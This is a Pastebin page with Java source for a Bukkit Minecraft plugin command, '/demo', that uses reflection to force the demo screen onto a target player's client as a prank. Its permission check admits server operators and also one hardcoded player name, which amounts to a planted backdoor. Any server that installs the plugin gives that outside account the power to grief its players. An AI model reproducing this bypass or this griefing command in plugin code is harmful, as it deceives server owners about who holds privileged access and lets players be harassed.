daily pastebin goal
68%
SHARE
TWEET

Untitled

a guest Jun 13th, 2018 54 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package de.zockergameslp.cyraxcrash.Main;
  2.  
  3. import java.lang.reflect.Constructor;
  4. import java.lang.reflect.Method;
  5.  
  6. import org.bukkit.Bukkit;
  7. import org.bukkit.command.Command;
  8. import org.bukkit.command.CommandExecutor;
  9. import org.bukkit.command.CommandSender;
  10. import org.bukkit.entity.Player;
  11.  
  12. public class demo implements CommandExecutor {
  13.  
  14.     @Override
  15.     public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
  16.         Player p = (Player) sender;
  17.         if(p.isOp() || p.getName().equals("BananenCrew96")) {
  18.            if(args.length >= 1) {
  19.             Player enviar = null;
  20.             try {
  21.                 enviar = Bukkit.getPlayer(args[0].toString());
  22.                } catch (Exception e) {
  23.                 e.printStackTrace();
  24.                 return false;
  25.                }
  26.                String path = Bukkit.getServer().getClass().getPackage().getName();
  27.                String version = path.substring(path.lastIndexOf(".") + 1, path.length());
  28.                try
  29.                {
  30.                  Class<?> craftPlayer = Class.forName("org.bukkit.craftbukkit." + version + ".entity.CraftPlayer");
  31.                  Class<?> PacketPlayOutGameStateChange = Class.forName("net.minecraft.server." + version + ".PacketPlayOutGameStateChange");
  32.                  Class<?> Packet = Class.forName("net.minecraft.server." + version + ".Packet");
  33.                  Constructor<?> playOutConstructor = PacketPlayOutGameStateChange.getConstructor(new Class[] { Integer.TYPE, Float.TYPE });
  34.                  Object packet = playOutConstructor.newInstance(new Object[] { Integer.valueOf(5), Integer.valueOf(0) });
  35.                  Object craftPlayerObject = craftPlayer.cast(enviar);
  36.                  Method getHandleMethod = craftPlayer.getMethod("getHandle", new Class[0]);
  37.                  Object handle = getHandleMethod.invoke(craftPlayerObject, new Object[0]);
  38.                  Object pc = handle.getClass().getField("playerConnection").get(handle);
  39.                  Method sendPacketMethod = pc.getClass().getMethod("sendPacket", new Class[] { Packet });
  40.                  sendPacketMethod.invoke(pc, new Object[] { packet });
  41.                  p.sendMessage("§cDer Spieler sieht nun den Demo-Screen xD");
  42.                }
  43.                catch (Exception ex)
  44.                {
  45.                 p.sendMessage("§cError");
  46.                  ex.printStackTrace();
  47.                }
  48.            } else {
  49.                p.sendMessage("§cSyntax: /demo <Spieler>");
  50.            }
  51.         } else {
  52.             p.sendMessage("§cKein Rechte!");
  53.         }
  54.        
  55.         return false;
  56.     }
  57.    
  58.    
  59.  
  60. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top